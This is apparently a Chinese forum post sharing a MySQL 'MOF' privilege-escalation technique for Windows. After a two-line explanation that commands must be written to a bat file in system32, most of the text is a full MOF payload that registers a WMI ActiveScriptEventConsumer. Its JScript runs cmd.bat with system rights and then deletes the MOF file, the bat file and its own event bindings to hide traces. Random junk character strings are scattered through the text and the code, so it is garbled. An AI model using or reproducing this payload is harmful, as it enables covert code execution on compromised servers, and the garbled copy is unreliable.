这个sql提权MOF需要运行 system下的文件,不能定义路径。4 Q: U( A. K* _; _5 @) C
需要将要运行的命令写入到bat上传到system32目录,然后执行。2 D$ @$ v, K. \
- M+ W' u$ ~' a+ F+ n" G% m这个sql提权MOF需要运行 system下的文件,不能定义路径。
e' w* P" l7 V5 |) p% C需要将要运行的命令写入到bat上传到system32目录,然后执行。
4 S# v8 J" M) |8 Z6 W0 o9 C6 ]. g7 h0 x( |3 [8 }& U+ L
#pragma
: y6 U5 H! t: ?- ^+ i namespace("\\\\.\\root\\cimv2")
2 t" D( Z2 D e" @ class; `5 L8 r" M7 r" v' u/ Y; |
MyClass547
8 ]! w6 k- J6 q# U: o: F6 I { [key]
6 X' X9 P6 H) R y s7 |$ H. l string. W3 Y K5 b- q" S: @/ _, \+ N, V& U
Name;
" A9 Y4 U; b0 E+ Q6 \/ W };
/ _7 p: x' _! S1 D5 D w5 s class& |1 D6 s' l$ e! _; x" e
ActiveScriptEventConsumer
1 z: p q. k3 d( x9 w : __EventConsumer { [key]: V K5 x4 i; ~+ C! ~
string
3 \8 \" @& g- Y% L* n! J4 h Name; [not_null]. a; D) E3 ^# T& e8 C" R; S: A( q
string/ D1 \2 V+ B9 Q) k/ a
ScriptingEngine; string
7 |8 k5 e0 i: d- v ScriptFileName; [template], _. H, j2 l F# M
string9 E) p4 p# b3 R( l* P# k; ]
ScriptText; uint32 KillTimeout;
: B: t: l9 h m. N; w* w }; instance of __Win32Provider as $P {" } c, _/ Z. f! m4 F6 M. C0 k% b2 R
Name! \- y9 u3 f! p
=' h9 r l/ r9 X! z) `# L( S
"ActiveScriptEventConsumer"; CLSID =+ _/ z* I% r$ j8 H
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";7 u; ~ ]# M9 V; p \7 y% ]! e7 Q/ m
PerUserInitialization6 I; I W2 V, p0 C* J" A
= TRUE;0 x" R3 x" j) U1 [: o4 s
}; instance of __EventConsumerProviderRegistration { Provider! f4 e0 a d2 Q: W
= $P; ConsumerClassNames) j! r5 S5 S9 a1 ^9 p2 W
=
1 [0 w0 p. ~7 H! w7 j {"ActiveScriptEventConsumer"};2 ] e9 U+ i- D' t, X& o0 f# g4 ~' }
};
) }2 j. H, q+ Z Instance of ActiveScriptEventConsumer
$ R! x0 k6 w# h3 b% R$ O# _, E as $cons { Name3 s& E# v, w' a
=
: j, U2 O+ ], h# x% \ "ASEC"; ScriptingEngine# | r0 \" z- e
=
% w* {) j- U; h/ m" j7 F, L "JScript"; ScriptText& Y8 c: m2 d9 F: r. \4 k! ?
=2 S2 ~2 p9 p% `+ m* y& f
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };$ q- u8 t, O% Q, }" s, Q
Instance of ActiveScriptEventConsumer
* ^' P1 |- Y& M8 M as $cons2 { Name, K- B' O: ^5 w, r0 k" S# ^
=- c8 J. G- H% B8 s
"qndASEC"; ScriptingEngine% \9 s4 m* \4 c6 z1 H6 B
=
1 t* B- ^9 Y* `2 K "JScript"; ScriptText
! [! b& L+ R, ] t =
7 V# G. S0 p8 m7 r! A "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";' f/ p3 d6 P+ N' z2 O
}; instance of __EventFilter as $Filt { Name, F$ [/ O0 _9 \
=- ^! r5 u! U5 v0 o3 y7 x, c
"instfilt"; Query
$ x3 f y! v7 W5 A3 I =
( K9 d* \) z% q% i6 l# q2 Y "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage3 p" p3 O: U6 N
=! |0 w _6 J2 v) \6 B* z- K( O7 s
"WQL"; }; instance of __EventFilter as $Filt2 { Name
+ q8 o5 ~' q+ O4 A =
% L) [9 Z0 A+ [ "qndfilt"; Query; [4 j% h, b! X. g8 T
=& d/ I$ G/ \6 Q/ `) W5 |
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage. `6 j. s! K, P4 {4 Q
=( r' h9 q- t% y% F
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
/ `8 ^# M* }7 z; }6 W. D = $cons; Filter
0 L5 M. _; @6 `$ A! p. Z- g = $Filt;
6 q x/ i7 r% }+ p" b) c }; instance of __FilterToConsumerBinding as $bind2 { Consumer
6 p: X& u: ]. d% A7 Y$ \8 \ = $cons2; Filter
! @' @2 C! t$ g# [' k = $Filt2;( H, M1 ]! ?# e% r9 z! U
}; instance of MyClass5478 s8 N0 j/ `' Z7 q0 T
as $MyClass { Name
! S+ S: ^3 H L1 F9 ?/ H =& B& p" G: E& U3 n
"ClassConsumer";' d* W) x# d( G! j9 }( H) }
}; |